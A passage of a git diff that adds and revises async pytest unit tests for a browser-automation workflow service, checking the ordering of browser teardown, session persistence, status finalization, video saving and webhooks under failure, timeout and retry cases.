+ _patch_finalize(monkeypatch, svc, order, failed_run)
+ monkeypatch.setattr(svc, "persist_video_data", AsyncMock(side_effect=lambda *a, **k: order.append("video")))
+ monkeypatch.setattr(svc, "execute_workflow_webhook", AsyncMock(side_effect=lambda *a, **k: order.append("webhook")))
+
+ result = await _run_execute_workflow(svc)
+
+ assert result is failed_run
+ assert order == ["teardown", "store", "finalize", "video", "webhook"]
+ clean_up_browser.assert_awaited_once()
+ svc._persist_workflow_browser_session_if_needed.assert_awaited_once()
+ assert apply_finally_result.await_args is not None
+ assert apply_finally_result.await_args.kwargs["pre_finally_status"] == WorkflowRunStatus.running
+ assert apply_finally_result.await_args.kwargs["defer_status_write"] is True
+
+
+async def test_execute_workflow_defers_finally_failure_status_until_after_writeback(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ workflow = _execute_workflow()
+ workflow.persist_browser_session = False
+ workflow.workflow_definition.finally_block_label = "cleanup"
+ running_run = _execute_workflow_run(WorkflowRunStatus.running)
+ failed_run = _execute_workflow_run(WorkflowRunStatus.failed)
+ failed_run.failure_reason = "cloud_storage block failed. failure reason: upload failed"
+ finally_block = SimpleNamespace(
+ block_type="cloud_storage",
+ label="cleanup",
+ continue_on_failure=False,
+ )
+ finally_result = SimpleNamespace(
+ status=BlockStatus.failed,
+ failure_reason="upload failed",
+ output_parameter_value=None,
+ )
+
+ svc = WorkflowService()
+ _patch_execute_workflow_deps(monkeypatch, svc, workflow, running_run)
+ monkeypatch.setattr(
+ svc,
+ "_execute_finally_block_if_configured",
+ AsyncMock(return_value=(finally_block, finally_result)),
+ )
+ status_write = AsyncMock(side_effect=RuntimeError("status write must remain deferred"))
+ monkeypatch.setattr(svc, "_update_workflow_run_status_if_not_final", status_write)
+ order: list[str] = []
+ _patch_browser_cleanup(monkeypatch, svc, order)
+ persist_browser_session = AsyncMock(side_effect=lambda **_kwargs: order.append("store"))
+ monkeypatch.setattr(
+ svc,
+ "_persist_workflow_browser_session_if_needed",
+ persist_browser_session,
+ )
+
+ async def finalize_side_effect(**_kwargs: object) -> SimpleNamespace:
+ order.append("finalize")
+ return failed_run
+
+ finalize = AsyncMock(side_effect=finalize_side_effect)
+ monkeypatch.setattr(svc, "_finalize_workflow_run_status", finalize)
+ clean_up = AsyncMock()
+ monkeypatch.setattr(svc, "clean_up_workflow", clean_up)
+
+ result = await _run_execute_workflow(svc)
+
+ assert result is failed_run
+ assert order == ["teardown", "store", "finalize"]
+ status_write.assert_not_awaited()
+ persist_browser_session.assert_awaited_once()
+ assert persist_browser_session.await_args is not None
+ assert persist_browser_session.await_args.kwargs["workflow_run_status"] == WorkflowRunStatus.completed
+ finalize.assert_awaited_once()
+ assert finalize.await_args is not None
+ assert finalize.await_args.kwargs["pre_finally_status"] == WorkflowRunStatus.failed
+ assert (
+ finalize.await_args.kwargs["pre_finally_failure_reason"]
+ == "cloud_storage block failed. failure reason: upload failed"
+ )
+ assert finalize.await_args.kwargs["pre_finally_failure_category"]
+ clean_up.assert_awaited_once()
+ assert clean_up.await_args is not None
+ assert clean_up.await_args.kwargs["browser_persistence_status"] == WorkflowRunStatus.completed
+ assert clean_up.await_args.kwargs["schedule_credential_fallback_retry"] is False
+
+
+async def test_execute_workflow_skips_profile_persistence_when_timeout_precedes_body_status_capture(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ workflow = _execute_workflow()
+ running_run = _execute_workflow_run(WorkflowRunStatus.running)
+ timed_out_run = _execute_workflow_run(WorkflowRunStatus.timed_out)
+ timed_out_run.failure_reason = "Workflow exceeded its elapsed-time limit."
+
+ svc = WorkflowService()
+ _patch_execute_workflow_deps(monkeypatch, svc, workflow, running_run)
+
+ async def slow_refresh(**_kwargs: object) -> SimpleNamespace:
+ await asyncio.sleep(0.05)
+ return running_run
+
+ service_module.app.DATABASE.workflow_runs.get_workflow_run = AsyncMock(side_effect=slow_refresh)
+ timeout_seconds = iter([10.0, 0.01])
+ monkeypatch.setattr(
+ service_module,
+ "_get_workflow_run_max_elapsed_timeout_seconds",
+ lambda _workflow_run: next(timeout_seconds),
+ )
+ monkeypatch.setattr(
+ svc,
+ "_shield_post_run_elapsed_timeout",
+ AsyncMock(
+ return_value=(
+ timed_out_run,
+ WorkflowRunStatus.timed_out,
+ timed_out_run.failure_reason,
+ )
+ ),
+ )
+ prefinal_browser_cleanup = AsyncMock()
+ persist_browser_session = AsyncMock()
+ monkeypatch.setattr(svc, "_clean_up_workflow_browser", prefinal_browser_cleanup)
+ monkeypatch.setattr(svc, "_persist_workflow_browser_session_if_needed", persist_browser_session)
+ monkeypatch.setattr(svc, "_finalize_workflow_run_status", AsyncMock(return_value=timed_out_run))
+ monkeypatch.setattr(svc, "persist_video_data", AsyncMock())
+ monkeypatch.setattr(svc, "clean_up_workflow", AsyncMock())
+ monkeypatch.setattr(svc, "execute_workflow_webhook", AsyncMock())
+
+ result = await _run_execute_workflow(svc)
+
+ assert result is timed_out_run
+ prefinal_browser_cleanup.assert_not_awaited()
+ persist_browser_session.assert_not_awaited()
+
+
+async def test_execute_workflow_rechecks_terminal_winner_before_healthy_writeback(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ workflow = _execute_workflow()
+ running_run = _execute_workflow_run(WorkflowRunStatus.running)
+ timed_out_run = _execute_workflow_run(WorkflowRunStatus.timed_out)
+ timed_out_run.failure_reason = "Workflow exceeded its elapsed-time limit."
+
+ svc = WorkflowService()
+ _patch_execute_workflow_deps(monkeypatch, svc, workflow, running_run)
+ initial_run = svc.get_workflow_run.return_value
+ monkeypatch.setattr(svc, "get_workflow_run", AsyncMock(side_effect=[initial_run, timed_out_run]))
+ prefinal_browser_cleanup = AsyncMock()
+ persist_browser_session = AsyncMock()
+ monkeypatch.setattr(svc, "_clean_up_workflow_browser", prefinal_browser_cleanup)
+ monkeypatch.setattr(svc, "_persist_workflow_browser_session_if_needed", persist_browser_session)
+ finalize = AsyncMock(return_value=timed_out_run)
+ monkeypatch.setattr(svc, "_finalize_workflow_run_status", finalize)
+ clean_up = AsyncMock()
+ monkeypatch.setattr(svc, "clean_up_workflow", clean_up)
+
+ result = await _run_execute_workflow(svc)
+
+ assert result is timed_out_run
+ prefinal_browser_cleanup.assert_not_awaited()
+ persist_browser_session.assert_not_awaited()
+ finalize.assert_awaited_once()
+ clean_up.assert_awaited_once()
+ assert clean_up.await_args is not None
+ assert clean_up.await_args.kwargs["browser_persistence_status"] == WorkflowRunStatus.timed_out
+
+
@pytest.mark.asyncio
async def test_execute_workflow_retries_write_back_when_pre_final_persist_fails(
monkeypatch: pytest.MonkeyPatch,
@@ -460,8 +666,37 @@ async def test_execute_workflow_retries_write_back_when_pre_final_persist_fails(
result = await _run_execute_workflow(svc)
assert result is completed_run
- # A failed pre-final write-back must not suppress clean_up_workflow's retry after final status.
- assert order == ["teardown", "store_fail", "finalize", "video", "store_retry", "webhook"]
+ # Sequential dependents remain blocked until the write-back retry has also completed.
+ assert order == ["teardown", "store_fail", "store_retry", "finalize", "video", "webhook"]
+ assert svc._persist_workflow_browser_session_if_needed.await_count == 2
+
+
+async def test_execute_workflow_exhausts_write_back_before_final_status(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ workflow = _execute_workflow()
+ completed_run = _execute_workflow_run(WorkflowRunStatus.completed)
+ order: list[str] = []
+ persist_calls = {"n": 0}
+
+ async def persist_side_effect(**_kwargs: object) -> None:
+ persist_calls["n"] += 1
+ order.append(f"store_fail_{persist_calls['n']}")
+ raise RuntimeError("storage down")
+
+ svc = WorkflowService()
+ _patch_execute_workflow_deps(monkeypatch, svc, workflow, _execute_workflow_run(WorkflowRunStatus.running))
+ _patch_browser_cleanup(monkeypatch, svc, order)
+ monkeypatch.setattr(svc, "_persist_workflow_browser_session_if_needed", AsyncMock(side_effect=persist_side_effect))
+ _patch_finalize(monkeypatch, svc, order, completed_run)
+ monkeypatch.setattr(svc, "persist_video_data", AsyncMock(side_effect=lambda *a, **k: order.append("video")))
+ monkeypatch.setattr(svc, "execute_workflow_webhook", AsyncMock(side_effect=lambda *a, **k: order.append("webhook")))
+
+ result = await _run_execute_workflow(svc)
+
+ assert result is completed_run
+ assert order == ["teardown", "store_fail_1", "store_fail_2", "finalize", "video", "webhook"]
assert svc._persist_workflow_browser_session_if_needed.await_count == 2
@@ -495,7 +730,7 @@ async def test_execute_workflow_does_not_prestore_blob_for_failed_canceled_or_ti
@pytest.mark.asyncio
-async def test_execute_workflow_non_persist_workflow_tears_down_once_after_final_status(
+async def test_execute_workflow_non_persist_workflow_writes_sink_before_final_status(
monkeypatch: pytest.MonkeyPatch,
) -> None:
workflow = _execute_workflow()
@@ -506,8 +741,8 @@ async def test_execute_workflow_non_persist_workflow_tears_down_once_after_final
svc = WorkflowService()
_patch_execute_workflow_deps(monkeypatch, svc, workflow, _execute_workflow_run(WorkflowRunStatus.running))
clean_up_browser = _patch_browser_cleanup(monkeypatch, svc, order)
- monkeypatch.setattr(service_module.app.STORAGE, "store_browser_profile", AsyncMock())
- monkeypatch.setattr(service_module.app.STORAGE, "store_browser_session", AsyncMock())
+ persist_browser_session = AsyncMock(side_effect=lambda **_kwargs: order.append("store"))
+ monkeypatch.setattr(svc, "_persist_workflow_browser_session_if_needed", persist_browser_session)
_patch_finalize(monkeypatch, svc, order, completed_run)
monkeypatch.setattr(svc, "persist_video_data", AsyncMock(side_effect=lambda *a, **k: order.append("video")))
monkeypatch.setattr(svc, "execute_workflow_webhook", AsyncMock())
@@ -515,10 +750,11 @@ async def test_execute_workflow_non_persist_workflow_tears_down_once_after_final
result = await _run_execute_workflow(svc)
assert result is completed_run
- assert order[:2] == ["finalize", "teardown"]
+ assert order[:3] == ["teardown", "store", "finalize"]
clean_up_browser.assert_awaited_once()
- service_module.app.STORAGE.store_browser_profile.assert_not_awaited()
- service_module.app.STORAGE.store_browser_session.assert_not_awaited()
+ persist_browser_session.assert_awaited_once()
+ assert persist_browser_session.await_args is not None
+ assert persist_browser_session.await_args.kwargs["workflow_run_status"] == WorkflowRunStatus.completed
@pytest.mark.asyncio
@@ -551,4 +787,5 @@ async def test_execute_workflow_finalizes_when_pre_status_browser_cleanup_fails(
result = await _run_execute_workflow(svc)
assert result is completed_run
- assert order[:2] == ["teardown_error", "finalize"]
+ assert order[:4] == ["teardown_error", "teardown_cleanup", "persist_helper", "finalize"]
+ assert svc._clean_up_workflow_browser.await_count == 2
diff --git a/tests/unit/test_xpath_fallback_ambiguity.py b/tests/unit/test_xpath_fallback_ambiguity.py
index d23ed59a9..993d14aef 100644
--- a/tests/unit/test_xpath_fallback_ambiguity.py
+++ b/tests/unit/test_xpath_fallback_ambiguity.py
@@ -26,7 +26,9 @@ def _patch_resolve(monkeypatch: pytest.MonkeyPatch, *, css_count: int, xpath_cou
frame_content = MagicMock()
frame_content.locator.return_value = xpath_locator
- async def _resolve(scrape_page: object, page: object, frame: str, css: str) -> tuple[MagicMock, MagicMock]:
+ async def _resolve(
+ scrape_page: object, page: object, frame: str, css: str, engine_selection: object = None
+ ) -> tuple[MagicMock, MagicMock]:
return css_locator, frame_content
monkeypatch.setattr("skyvern.webeye.utils.dom.resolve_locator", _resolve)